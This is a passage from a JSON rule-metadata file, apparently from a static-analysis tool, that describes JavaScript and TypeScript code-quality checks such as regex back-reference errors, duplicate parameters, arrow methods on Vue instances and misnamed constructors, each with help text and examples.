instance, the first group may initially have been capturing so the back reference referred to the group `(\\[*|\\{*])`. This group, however, is now the first capturing group, so the back reference should be updated to `\\1`.\n\n\n## References\n* Mozilla Developer Network: [JavaScript Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions).\n"},"properties":{"tags":["quality","reliability","correctness","regular-expressions"],"description":"If a back reference precedes the capture group it refers to, it matches the empty string,\n              which is probably not what was expected.","id":"js/regex/back-reference-before-group","kind":"problem","name":"Back reference precedes capture group","precision":"very-high","problem.severity":"error"}},{"id":"js/regex/back-reference-to-negative-lookahead","name":"js/regex/back-reference-to-negative-lookahead","shortDescription":{"text":"Back reference into negative lookahead assertion"},"fullDescription":{"text":"If a back reference refers to a capture group inside a preceding negative lookahead assertion, then the back reference always matches the empty string, which probably indicates a mistake."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Back reference into negative lookahead assertion\nBack references can be used to refer to the result of a previously matched capture group. It is syntactically legal to refer from outside a negative lookahead assertion to a capture group nested inside that assertion, but since the regular expression can only match when the body of the negative lookahead assertion did *not* match, such a back reference always matches the empty string. This probably indicates a mistake.\n\n\n## Recommendation\nRemove the back reference if it is useless, or fix the regular expression to make sure the reference refers to the intended capture group.\n\n\n## Example\nIn the following example, the back reference `\\2` refers to the capture group `(a+)` inside the negative lookahead assertion `(?!(a+)b)`.\n\n\n```javascript\n/(.*?)a(?:d*)a(?!(a+)b)\\2(.*)/;\n```\nUseless back references like this can arise if a regular expression is updated inconsistently. In this example, for instance, the group `(?:d*)` may initially have been capturing, so the back reference `\\2` would have referred to it instead of the capture group inside the negative lookahead assertion. If this is the case, the group `(?:d*)` should be made capturing again, that is, it should be replaced by `(d*)`.\n\nNote that referring to a capture group from within the same negative lookahead assertion is unproblematic.\n\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 15.10.2.8. ECMA, 2011.\n","markdown":"# Back reference into negative lookahead assertion\nBack references can be used to refer to the result of a previously matched capture group. It is syntactically legal to refer from outside a negative lookahead assertion to a capture group nested inside that assertion, but since the regular expression can only match when the body of the negative lookahead assertion did *not* match, such a back reference always matches the empty string. This probably indicates a mistake.\n\n\n## Recommendation\nRemove the back reference if it is useless, or fix the regular expression to make sure the reference refers to the intended capture group.\n\n\n## Example\nIn the following example, the back reference `\\2` refers to the capture group `(a+)` inside the negative lookahead assertion `(?!(a+)b)`.\n\n\n```javascript\n/(.*?)a(?:d*)a(?!(a+)b)\\2(.*)/;\n```\nUseless back references like this can arise if a regular expression is updated inconsistently. In this example, for instance, the group `(?:d*)` may initially have been capturing, so the back reference `\\2` would have referred to it instead of the capture group inside the negative lookahead assertion. If this is the case, the group `(?:d*)` should be made capturing again, that is, it should be replaced by `(d*)`.\n\nNote that referring to a capture group from within the same negative lookahead assertion is unproblematic.\n\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 15.10.2.8. ECMA, 2011.\n"},"properties":{"tags":["quality","reliability","correctness","regular-expressions"],"description":"If a back reference refers to a capture group inside a preceding negative lookahead assertion,\n              then the back reference always matches the empty string, which probably indicates a mistake.","id":"js/regex/back-reference-to-negative-lookahead","kind":"problem","name":"Back reference into negative lookahead assertion","precision":"very-high","problem.severity":"error"}},{"id":"js/regex/unmatchable-dollar","name":"js/regex/unmatchable-dollar","shortDescription":{"text":"Unmatchable dollar in regular expression"},"fullDescription":{"text":"If a dollar assertion '$' appears in a regular expression before another term that cannot match the empty string, then this assertion can never match, so the entire regular expression cannot match any string."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Unmatchable dollar in regular expression\nThe dollar character `$` in a regular expression only matches at the end of the input, or (for multi-line regular expressions) at the end of a line. If it is followed by a pattern that must match a non-empty sequence of (non-newline) input characters, it cannot possibly match, rendering the entire regular expression unmatchable.\n\n\n## Recommendation\nExamine the regular expression to find and correct any typos.\n\n\n## Example\nIn the following example, the regular expression `/\\.\\(\\w+$\\)/` cannot match any string, since it contains a dollar assertion followed by an escape sequence that matches a closing parenthesis.\n\n\n```javascript\nif (file.match(/\\.\\(\\w+$\\)/))\n\tconsole.log(\"Found it.\");\n```\n\n## References\n* Mozilla Developer Network: [JavaScript Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions).\n* Common Weakness Enumeration: [CWE-561](https://cwe.mitre.org/data/definitions/561.html).\n","markdown":"# Unmatchable dollar in regular expression\nThe dollar character `$` in a regular expression only matches at the end of the input, or (for multi-line regular expressions) at the end of a line. If it is followed by a pattern that must match a non-empty sequence of (non-newline) input characters, it cannot possibly match, rendering the entire regular expression unmatchable.\n\n\n## Recommendation\nExamine the regular expression to find and correct any typos.\n\n\n## Example\nIn the following example, the regular expression `/\\.\\(\\w+$\\)/` cannot match any string, since it contains a dollar assertion followed by an escape sequence that matches a closing parenthesis.\n\n\n```javascript\nif (file.match(/\\.\\(\\w+$\\)/))\n\tconsole.log(\"Found it.\");\n```\n\n## References\n* Mozilla Developer Network: [JavaScript Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions).\n* Common Weakness Enumeration: [CWE-561](https://cwe.mitre.org/data/definitions/561.html).\n"},"properties":{"tags":["quality","reliability","correctness","regular-expressions","external/cwe/cwe-561"],"description":"If a dollar assertion '$' appears in a regular expression before another term that\n              cannot match the empty string, then this assertion can never match, so the entire\n              regular expression cannot match any string.","id":"js/regex/unmatchable-dollar","kind":"problem","name":"Unmatchable dollar in regular expression","precision":"very-high","problem.severity":"error"}},{"id":"js/regex/duplicate-in-character-class","name":"js/regex/duplicate-in-character-class","shortDescription":{"text":"Duplicate character in character class"},"fullDescription":{"text":"If a character class in a regular expression contains the same character twice, this may indicate a bug."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Duplicate character in character class\nCharacter classes in regular expressions (denoted by square brackets `[]`) represent sets of characters where the pattern matches any single character from that set. Since character classes are sets, specifying the same character multiple times is redundant and often indicates a programming error.\n\nCommon mistakes include:\n\n* Using square brackets `[]` instead of parentheses `()` for grouping alternatives\n* Misunderstanding that special regex characters like `|`, `*`, `+`, `()`, and `-` work differently when appearing inside a character class\n* Accidentally duplicating characters or escape sequences that represent the same character\n\n## Recommendation\nExamine each duplicate character to determine the intended behavior:\n\n* If you see `|` inside square brackets (e.g., `[a|b|c]`): This is usually a mistake. The author likely intended alternation. Replace the character class with a group: `(a|b|c)`\n* If trying to match alternative strings, use parentheses `()` for grouping instead of square brackets\n* If the duplicate was truly accidental, remove the redundant characters\n* If trying to use special regex operators inside square brackets, note that most operators (like `|`) are treated as literal characters\nNote that simply removing `|` characters from character classes is rarely the correct fix. Instead, analyze the pattern to understand what the author intended to match.\n\n\n## Example\n**Example 1: Confusing character classes with groups**\n\nThe pattern `[password|pwd]` does not match \"password\" or \"pwd\" as intended. Instead, it matches any single character from the set `{p, a, s, w, o, r, d, |}`. Note that `|` has no special meaning inside character classes.\n\n\n```javascript\nif (/[password|pwd] =/.test(input))\n\tconsole.log(\"Found password!\");\n```\nTo fix this problem, the regular expression should be rewritten to `/(password|pwd) =/`.\n\n**Example 2: CSS unit matching**\n\nThe pattern `r?e[m|x]` appears to be trying to match \"rem\" or \"rex\", but actually matches \"re\" followed by any of the characters `{m, |, x}`. The correct pattern should be `r?e(m|x)` or `r?e[mx]`.\n\nSimilarly, `v[h|w|min|max]` should be `v(h|w|min|max)` to properly match \"vh\", \"vw\", \"vmin\", or \"vmax\".\n\n\n## References\n* Mozilla Developer Network: [JavaScript Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions).\n* MDN: [Character Classes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes) - Details on how character classes work.\n* MDN: [Groups and Ranges](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges) - Proper use of grouping with parentheses.\n","markdown":"# Duplicate character in character class\nCharacter classes in regular expressions (denoted by square brackets `[]`) represent sets of characters where the pattern matches any single character from that set. Since character classes are sets, specifying the same character multiple times is redundant and often indicates a programming error.\n\nCommon mistakes include:\n\n* Using square brackets `[]` instead of parentheses `()` for grouping alternatives\n* Misunderstanding that special regex characters like `|`, `*`, `+`, `()`, and `-` work differently when appearing inside a character class\n* Accidentally duplicating characters or escape sequences that represent the same character\n\n## Recommendation\nExamine each duplicate character to determine the intended behavior:\n\n* If you see `|` inside square brackets (e.g., `[a|b|c]`): This is usually a mistake. The author likely intended alternation. Replace the character class with a group: `(a|b|c)`\n* If trying to match alternative strings, use parentheses `()` for grouping instead of square brackets\n* If the duplicate was truly accidental, remove the redundant characters\n* If trying to use special regex operators inside square brackets, note that most operators (like `|`) are treated as literal characters\nNote that simply removing `|` characters from character classes is rarely the correct fix. Instead, analyze the pattern to understand what the author intended to match.\n\n\n## Example\n**Example 1: Confusing character classes with groups**\n\nThe pattern `[password|pwd]` does not match \"password\" or \"pwd\" as intended. Instead, it matches any single character from the set `{p, a, s, w, o, r, d, |}`. Note that `|` has no special meaning inside character classes.\n\n\n```javascript\nif (/[password|pwd] =/.test(input))\n\tconsole.log(\"Found password!\");\n```\nTo fix this problem, the regular expression should be rewritten to `/(password|pwd) =/`.\n\n**Example 2: CSS unit matching**\n\nThe pattern `r?e[m|x]` appears to be trying to match \"rem\" or \"rex\", but actually matches \"re\" followed by any of the characters `{m, |, x}`. The correct pattern should be `r?e(m|x)` or `r?e[mx]`.\n\nSimilarly, `v[h|w|min|max]` should be `v(h|w|min|max)` to properly match \"vh\", \"vw\", \"vmin\", or \"vmax\".\n\n\n## References\n* Mozilla Developer Network: [JavaScript Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions).\n* MDN: [Character Classes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes) - Details on how character classes work.\n* MDN: [Groups and Ranges](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges) - Proper use of grouping with parentheses.\n"},"properties":{"tags":["quality","reliability","correctness","regular-expressions"],"description":"If a character class in a regular expression contains the same character twice, this may\n              indicate a bug.","id":"js/regex/duplicate-in-character-class","kind":"problem","name":"Duplicate character in character class","precision":"very-high","problem.severity":"warning"}},{"id":"js/vue/arrow-method-on-vue-instance","name":"js/vue/arrow-method-on-vue-instance","shortDescription":{"text":"Arrow method on Vue instance"},"fullDescription":{"text":"An arrow method on a Vue instance doesn't have its `this` variable bound to the Vue instance."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Arrow method on Vue instance\nThe Vue framework invokes the methods of a Vue instance with the instance as the receiver. It is however impossible to perform this binding of instance and receiver for arrow functions, so the `this` variable in an arrow function on a Vue instance may not have the value that the programmer expects.\n\n\n## Recommendation\nEnsure that the methods on a Vue instance can have their receiver bound to the instance.\n\n\n## Example\nThe following example shows two similar Vue instances, the only difference is how the `created` life cycle hook callback is defined. The first Vue instance uses an arrow function as the callback. This means that the `this` variable will have the global object as its value, causing `this.myProperty` to evaluate to `undefined`, which may not be intended. Instead, the second Vue instance uses an ordinary function as the callback, causing `this.myProperty` to evaluate to `42`.\n\n\n```javascript\nnew Vue({\n  data: {\n    myProperty: 42\n  },\n  created: () => {\n    // BAD: prints: \"myProperty is: undefined\"\n    console.log('myProperty is: ' + this.myProperty);\n  }\n});\n\nnew Vue({\n  data: {\n    myProperty: 42\n  },\n  created: function () {\n    // GOOD: prints: \"myProperty is: 1\"\n    console.log('myProperty is: ' + this.myProperty);\n  }\n});\n\n```\n\n## References\n* Vue documentation: [The Vue Instance](https://vuejs.org/v2/guide/instance.html)\n","markdown":"# Arrow method on Vue instance\nThe Vue framework invokes the methods of a Vue instance with the instance as the receiver. It is however impossible to perform this binding of instance and receiver for arrow functions, so the `this` variable in an arrow function on a Vue instance may not have the value that the programmer expects.\n\n\n## Recommendation\nEnsure that the methods on a Vue instance can have their receiver bound to the instance.\n\n\n## Example\nThe following example shows two similar Vue instances, the only difference is how the `created` life cycle hook callback is defined. The first Vue instance uses an arrow function as the callback. This means that the `this` variable will have the global object as its value, causing `this.myProperty` to evaluate to `undefined`, which may not be intended. Instead, the second Vue instance uses an ordinary function as the callback, causing `this.myProperty` to evaluate to `42`.\n\n\n```javascript\nnew Vue({\n  data: {\n    myProperty: 42\n  },\n  created: () => {\n    // BAD: prints: \"myProperty is: undefined\"\n    console.log('myProperty is: ' + this.myProperty);\n  }\n});\n\nnew Vue({\n  data: {\n    myProperty: 42\n  },\n  created: function () {\n    // GOOD: prints: \"myProperty is: 1\"\n    console.log('myProperty is: ' + this.myProperty);\n  }\n});\n\n```\n\n## References\n* Vue documentation: [The Vue Instance](https://vuejs.org/v2/guide/instance.html)\n"},"properties":{"tags":["quality","reliability","correctness","frameworks/vue"],"description":"An arrow method on a Vue instance doesn't have its `this` variable bound to the Vue instance.","id":"js/vue/arrow-method-on-vue-instance","kind":"problem","name":"Arrow method on Vue instance","precision":"high","problem.severity":"warning"}},{"id":"js/useless-assignment-to-property","name":"js/useless-assignment-to-property","shortDescription":{"text":"Useless assignment to property"},"fullDescription":{"text":"An assignment to a property whose value is always overwritten has no effect."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Useless assignment to property\nA value is assigned to a variable or property, but either that location is never read later on, or its value is always overwritten before being read. This means that the original assignment has no effect, and could indicate a logic error or incomplete code.\n\n\n## Recommendation\nEnsure that you check the control and data flow in the method carefully. If a value is really not needed, consider omitting the assignment. Be careful, though: if the right-hand side has a side-effect (like performing a method call), it is important to keep this to preserve the overall behavior.\n\n\n## Example\nIn the following example, the return value of the call to `send` on line 2 is assigned to the local variable `result`, but then never used.\n\n\n```javascript\nfunction f(x) {\n\tvar result = send(x);\n\twaitForResponse();\n\treturn getResponse();\n}\n```\nAssuming that `send` returns a status code indicating whether the operation succeeded or not, the value of `result` should be checked, perhaps like this:\n\n\n```javascript\nfunction f(x) {\n\tvar result = send(x);\n\t// check for error\n\tif (result === -1)\n\t\tthrow new Error(\"send failed\");\n\twaitForResponse();\n\treturn getResponse();\n}\n```\n\n## References\n* Wikipedia: [Dead store](http://en.wikipedia.org/wiki/Dead_store).\n","markdown":"# Useless assignment to property\nA value is assigned to a variable or property, but either that location is never read later on, or its value is always overwritten before being read. This means that the original assignment has no effect, and could indicate a logic error or incomplete code.\n\n\n## Recommendation\nEnsure that you check the control and data flow in the method carefully. If a value is really not needed, consider omitting the assignment. Be careful, though: if the right-hand side has a side-effect (like performing a method call), it is important to keep this to preserve the overall behavior.\n\n\n## Example\nIn the following example, the return value of the call to `send` on line 2 is assigned to the local variable `result`, but then never used.\n\n\n```javascript\nfunction f(x) {\n\tvar result = send(x);\n\twaitForResponse();\n\treturn getResponse();\n}\n```\nAssuming that `send` returns a status code indicating whether the operation succeeded or not, the value of `result` should be checked, perhaps like this:\n\n\n```javascript\nfunction f(x) {\n\tvar result = send(x);\n\t// check for error\n\tif (result === -1)\n\t\tthrow new Error(\"send failed\");\n\twaitForResponse();\n\treturn getResponse();\n}\n```\n\n## References\n* Wikipedia: [Dead store](http://en.wikipedia.org/wiki/Dead_store).\n"},"properties":{"tags":["quality","maintainability","useless-code"],"description":"An assignment to a property whose value is always overwritten has no effect.","id":"js/useless-assignment-to-property","kind":"problem","name":"Useless assignment to property","precision":"high","problem.severity":"warning"}},{"id":"js/duplicate-parameter-name","name":"js/duplicate-parameter-name","shortDescription":{"text":"Duplicate parameter names"},"fullDescription":{"text":"If a function has two parameters with the same name, the second parameter shadows the first one, which makes the code hard to understand and error-prone."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Duplicate parameter names\nIn non-strict mode, JavaScript allows a function to have several parameters with the same name, where later parameters shadow earlier parameters. This is an error-prone feature which makes code hard to understand and should be avoided.\n\n\n## Recommendation\nRename the parameters to have different names.\n\n\n## Example\nIn the following example, function `f` has two parameters named `x`, the second one presumably being a typo for `y`. Since no parameter `y` is declared, the use of `y` in the body of `f` refers to a global variable of that name, if it exists.\n\n\n```javascript\nfunction f(x, x) {\n\treturn x+y;\n}\n```\nDuplicate parameter names are illegal in strict mode.\n\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Annex C. ECMA, 2011.\n","markdown":"# Duplicate parameter names\nIn non-strict mode, JavaScript allows a function to have several parameters with the same name, where later parameters shadow earlier parameters. This is an error-prone feature which makes code hard to understand and should be avoided.\n\n\n## Recommendation\nRename the parameters to have different names.\n\n\n## Example\nIn the following example, function `f` has two parameters named `x`, the second one presumably being a typo for `y`. Since no parameter `y` is declared, the use of `y` in the body of `f` refers to a global variable of that name, if it exists.\n\n\n```javascript\nfunction f(x, x) {\n\treturn x+y;\n}\n```\nDuplicate parameter names are illegal in strict mode.\n\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Annex C. ECMA, 2011.\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"If a function has two parameters with the same name, the second parameter\n              shadows the first one, which makes the code hard to understand and error-prone.","id":"js/duplicate-parameter-name","kind":"problem","name":"Duplicate parameter names","precision":"very-high","problem.severity":"error"}},{"id":"js/duplicate-variable-declaration","name":"js/duplicate-variable-declaration","shortDescription":{"text":"Duplicate variable declaration"},"fullDescription":{"text":"A variable declaration statement that declares the same variable twice is confusing and hard to maintain."},"defaultConfiguration":{"enabled":true,"level":"note"},"help":{"text":"# Duplicate variable declaration\nA variable declaration statement that declares the same variable twice is confusing and hard to maintain.\n\n\n## Recommendation\nRemove one of the two declarations. When removing a declaration with an initializer, further changes may be necessary to ensure that the variable is correctly initialized.\n\n\n## Example\nIn the following example, the variable declaration statement declares the variable `dom` twice. The second declaration is unnecessary, and since it has no initializer it can simply be removed.\n\n\n```javascript\nvar dom,\n    contactDetails,\n    phonesTemplate,\n    emailsTemplate,\n    dom;\n\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 12.2. ECMA, 2011.\n","markdown":"# Duplicate variable declaration\nA variable declaration statement that declares the same variable twice is confusing and hard to maintain.\n\n\n## Recommendation\nRemove one of the two declarations. When removing a declaration with an initializer, further changes may be necessary to ensure that the variable is correctly initialized.\n\n\n## Example\nIn the following example, the variable declaration statement declares the variable `dom` twice. The second declaration is unnecessary, and since it has no initializer it can simply be removed.\n\n\n```javascript\nvar dom,\n    contactDetails,\n    phonesTemplate,\n    emailsTemplate,\n    dom;\n\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 12.2. ECMA, 2011.\n"},"properties":{"tags":["quality","maintainability","readability"],"description":"A variable declaration statement that declares the same variable twice is\n              confusing and hard to maintain.","id":"js/duplicate-variable-declaration","kind":"problem","name":"Duplicate variable declaration","precision":"very-high","problem.severity":"recommendation"}},{"id":"js/mixed-static-instance-this-access","name":"js/mixed-static-instance-this-access","shortDescription":{"text":"Wrong use of 'this' for static method"},"fullDescription":{"text":"A reference to a static method from within an instance method needs to be qualified with the class name, not `this`."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Wrong use of 'this' for static method\nA method of a class can be either a static method or an instance method. For a static method, the value of `this` is the enclosing class. For an instance method, the value of `this` is the object instance itself. It is therefore not possible to refer to a static method from an instance method using `this`, and vice versa.\n\n\n## Recommendation\nA reference to an instance method from within a static method needs to be qualified with an instance of the class, and not `this`.\n\n\n## Example\nIn the following code snippet, the `bar` method is an instance method and it attempts to use the static `baz` method through `this`. That is not possible, so the call will fail at runtime.\n\n\n```javascript\nclass Foo {\n    bar(){\n        this.baz(42);\n    }\n    static baz(x){\n        // ...\n    }\n}\n\n```\nThe code should be changed to use the enclosing class instead of `this`: `Foo.baz(42)`.\n\n\n## References\n* Mozilla Developer Network: [Classes and static methods](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/static).\n","markdown":"# Wrong use of 'this' for static method\nA method of a class can be either a static method or an instance method. For a static method, the value of `this` is the enclosing class. For an instance method, the value of `this` is the object instance itself. It is therefore not possible to refer to a static method from an instance method using `this`, and vice versa.\n\n\n## Recommendation\nA reference to an instance method from within a static method needs to be qualified with an instance of the class, and not `this`.\n\n\n## Example\nIn the following code snippet, the `bar` method is an instance method and it attempts to use the static `baz` method through `this`. That is not possible, so the call will fail at runtime.\n\n\n```javascript\nclass Foo {\n    bar(){\n        this.baz(42);\n    }\n    static baz(x){\n        // ...\n    }\n}\n\n```\nThe code should be changed to use the enclosing class instead of `this`: `Foo.baz(42)`.\n\n\n## References\n* Mozilla Developer Network: [Classes and static methods](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/static).\n"},"properties":{"tags":["quality","reliability","correctness","methods"],"description":"A reference to a static method from within an instance method needs to be qualified with the class name, not `this`.","id":"js/mixed-static-instance-this-access","kind":"problem","name":"Wrong use of 'this' for static method","precision":"high","problem.severity":"error"}},{"id":"js/suspicious-method-name-declaration","name":"js/suspicious-method-name-declaration","shortDescription":{"text":"Suspicious method name declaration"},"fullDescription":{"text":"A method declaration with a name that is a special keyword in another context is suspicious."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Suspicious method name declaration\nIn TypeScript, certain keywords have special meanings for member declarations, and misusing them can create confusion:\n\n* In classes, use `constructor` rather than `new` to declare constructors. Using `new` within a class creates a method named \"new\" and not a constructor signature.\n* In interfaces, use `new` rather than `constructor` to declare constructor signatures. Using `constructor` within an interface creates a method named \"constructor\" and not a constructor signature.\n* Similarly, the keyword `function` is used to declare functions in some contexts. However, using the name `function` for a class or interface member declaration declares a method named \"function\".\nWhen these keywords are misused, TypeScript will interpret them as regular method names rather than their intended special syntax, leading to code that may not work as expected.\n\n\n## Recommendation\nConsider following these guidelines for clearer code:\n\n* For classes, use `constructor` to declare constructors.\n* For interfaces, use `new` to declare constructor signatures (call signatures that create new instances).\n* Avoid accidentally creating methods named `function` by misusing the `function` keyword within class or interface declarations.\n\n## Example\nThe following examples show common mistakes when using these keywords:\n\nThis interface mistakenly uses `constructor`, which creates a method named \"constructor\" instead of a constructor signature:\n\n\n```javascript\n// BAD: Using 'constructor' in an interface creates a method, not a constructor signature\ninterface Point {\n   x: number;\n   y: number;\n   constructor(x: number, y: number); // This is just a method named \"constructor\"\n}\n\n```\nUse `new` for constructor signatures in interfaces:\n\n\n```javascript\n// GOOD: Using 'new' for constructor signatures in interfaces\ninterface Point {\n   x: number;\n   y: number;\n   new(x: number, y: number): Point; // This is a proper constructor signature\n}\n\n```\nThis class mistakenly uses `new`, which creates a method named \"new\" instead of a constructor:\n\n\n```javascript\n// BAD: Using 'new' in a class creates a method, not a constructor\nclass Point {\n   x: number;\n   y: number;\n   new(x: number, y: number) {}; // This is just a method named \"new\"\n}\n\n```\nUse `constructor` for constructors in classes:\n\n\n```javascript\n// GOOD: Using 'constructor' for constructors in classes\nclass Point {\n   x: number;\n   y: number;\n   constructor(x: number, y: number) { // This is a proper constructor\n      this.x = x;\n      this.y = y;\n   }\n}\n\n```\nThis interface uses `function` as a method name, which declares a method named \"function\" rather than declaring a function:\n\n\n```javascript\n// BAD: Using 'function' as a method name is confusing\ninterface Calculator {\n   function(a: number, b: number): number; // This is just a method named \"function\"\n}\n\n```\nUse a descriptive method name instead:\n\n\n```javascript\n// GOOD: Using descriptive method names instead of 'function'\ninterface Calculator {\n   calculate(a: number, b: number): number; // Clear, descriptive method name\n}\n\n```\n\n## References\n* TypeScript Handbook: [Classes - Constructors](https://www.typescriptlang.org/docs/handbook/2/classes.html#constructors).\n* TypeScript specification: [Constructor Type Literals](https://github.com/microsoft/TypeScript/blob/30cb20434a6b117e007a4959b2a7c16489f86069/doc/spec-ARCHIVED.md#3.8.9).\n* TypeScript specification: [Constructor Parameters](https://github.com/microsoft/TypeScript/blob/30cb20434a6b117e007a4959b2a7c16489f86069/doc/spec-ARCHIVED.md#8.3.1).\n","markdown":"# Suspicious method name declaration\nIn TypeScript, certain keywords have special meanings for member declarations, and misusing them can create confusion:\n\n* In classes, use `constructor` rather than `new` to declare constructors. Using `new` within a class creates a method named \"new\" and not a constructor signature.\n* In interfaces, use `new` rather than `constructor` to declare constructor signatures. Using `constructor` within an interface creates a method named \"constructor\" and not a constructor signature.\n* Similarly, the keyword `function` is used to declare functions in some contexts. However, using the name `function` for a class or interface member declaration declares a method named \"function\".\nWhen these keywords are misused, TypeScript will interpret them as regular method names rather than their intended special syntax, leading to code that may not work as expected.\n\n\n## Recommendation\nConsider following these guidelines for clearer code:\n\n* For classes, use `constructor` to declare constructors.\n* For interfaces, use `new` to declare constructor signatures (call signatures that create new instances).\n* Avoid accidentally creating methods named `function` by misusing the `function` keyword within class or interface declarations.\n\n## Example\nThe following examples show common mistakes when using these keywords:\n\nThis interface mistakenly uses `constructor`, which creates a method named \"constructor\" instead of a constructor signature:\n\n\n```javascript\n// BAD: Using 'constructor' in an interface creates a method, not a constructor signature\ninterface Point {\n   x: number;\n   y: number;\n   constructor(x: number, y: number); // This is just a method named \"constructor\"\n}\n\n```\nUse `new` for constructor signatures in interfaces:\n\n\n```javascript\n// GOOD: Using 'new' for constructor signatures in interfaces\ninterface Point {\n   x: number;\n   y: number;\n   new(x: number, y: number): Point; // This is a proper constructor signature\n}\n\n```\nThis class mistakenly uses `new`, which creates a method named \"new\" instead of a constructor:\n\n\n```javascript\n// BAD: Using 'new' in a class creates a method, not a constructor\nclass Point {\n   x: number;\n   y: number;\n   new(x: number, y: number) {}; // This is just a method named \"new\"\n}\n\n```\nUse `constructor` for constructors in classes:\n\n\n```javascript\n// GOOD: Using 'constructor' for constructors in classes\nclass Point {\n   x: number;\n   y: number;\n   constructor(x: number, y: number) { // This is a proper constructor\n      this.x = x;\n      this.y = y;\n   }\n}\n\n```\nThis interface uses `function` as a method name, which declares a method named \"function\" rather than declaring a function:\n\n\n```javascript\n// BAD: Using 'function' as a method name is confusing\ninterface Calculator {\n   function(a: number, b: number): number; // This is just a method named \"function\"\n}\n\n```\nUse a descriptive method name instead:\n\n\n```javascript\n// GOOD: Using descriptive method names instead of 'function'\ninterface Calculator {\n   calculate(a: number, b: number): number; // Clear, descriptive method name\n}\n\n```\n\n## References\n* TypeScript Handbook: [Classes - Constructors](https://www.typescriptlang.org/docs/handbook/2/classes.html#constructors).\n* TypeScript specification: [Constructor Type Literals](https://github.com/microsoft/TypeScript/blob/30cb20434a6b117e007a4959b2a7c16489f86069/doc/spec-ARCHIVED.md#3.8.9).\n* TypeScript specification: [Constructor Parameters](https://github.com/microsoft/TypeScript/blob/30cb20434a6b117e007a4959b2a7c16489f86069/doc/spec-ARCHIVED.md#8.3.1).\n"},"properties":{"tags":["quality","reliability","correctness","typescript","methods"],"description":"A method declaration with a name that is a special keyword in another\n              context is suspicious.","id":"js/suspicious-method-name-declaration","kind":"problem","name":"Suspicious method name declaration","precision":"high","problem.severity":"warning"}},{"id":"js/variable-initialization-conflict","name":"js/variable-initialization-conflict","shortDescription":{"text":"Conflicting variable initialization"},"fullDescription":{"text":"If a variable is declared and initialized twice inside the same variable declaration statement, the second initialization immediately overwrites the first one."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Conflicting variable initialization\nIf a variable is declared and initialized twice inside the same variable declaration statement, the second initialization immediately overwrites the first one. This is confusing at best, and probably indicates an underlying bug.\n\n\n## Recommendation\nRename the second variable declaration to avoid the conflict. For every use of the variable, examine it to find out whether it is meant to refer to the first or to the second declaration. If it is meant to refer to the second declaration, rename the use as well.\n\n\n## Example\nIn the following example, the variable declaration statement declares and initializes the variable `key` twice, once to `iter[0]` and once to `iter[1]`. The second initialization overwrites the first, so `key` ends up being set to `iter[1]`.\n\n\n```javascript\nfor (var iter in Iterator(aExtraHeaders)) {\n    var key = iter[0], key = iter[1];\n    xhr.setRequestHeader(key, value);\n}\n\n```\nFrom context, it is clear that the second declaration is a typo: it should instead declare and initialize the variable `value`, which is referred to in the next line:\n\n\n```javascript\nfor (var iter in Iterator(aExtraHeaders)) {\n    var key = iter[0], value = iter[1];\n    xhr.setRequestHeader(key, value);\n}\n\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 12.2. ECMA, 2011.\n* Common Weakness Enumeration: [CWE-563](https://cwe.mitre.org/data/definitions/563.html).\n","markdown":"# Conflicting variable initialization\nIf a variable is declared and initialized twice inside the same variable declaration statement, the second initialization immediately overwrites the first one. This is confusing at best, and probably indicates an underlying bug.\n\n\n## Recommendation\nRename the second variable declaration to avoid the conflict. For every use of the variable, examine it to find out whether it is meant to refer to the first or to the second declaration. If it is meant to refer to the second declaration, rename the use as well.\n\n\n## Example\nIn the following example, the variable declaration statement declares and initializes the variable `key` twice, once to `iter[0]` and once to `iter[1]`. The second initialization overwrites the first, so `key` ends up being set to `iter[1]`.\n\n\n```javascript\nfor (var iter in Iterator(aExtraHeaders)) {\n    var key = iter[0], key = iter[1];\n    xhr.setRequestHeader(key, value);\n}\n\n```\nFrom context, it is clear that the second declaration is a typo: it should instead declare and initialize the variable `value`, which is referred to in the next line:\n\n\n```javascript\nfor (var iter in Iterator(aExtraHeaders)) {\n    var key = iter[0], value = iter[1];\n    xhr.setRequestHeader(key, value);\n}\n\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 12.2. ECMA, 2011.\n* Common Weakness Enumeration: [CWE-563](https://cwe.mitre.org/data/definitions/563.html).\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-563"],"description":"If a variable is declared and initialized twice inside the same variable declaration\n              statement, the second initialization immediately overwrites the first one.","id":"js/variable-initialization-conflict","kind":"problem","name":"Conflicting variable 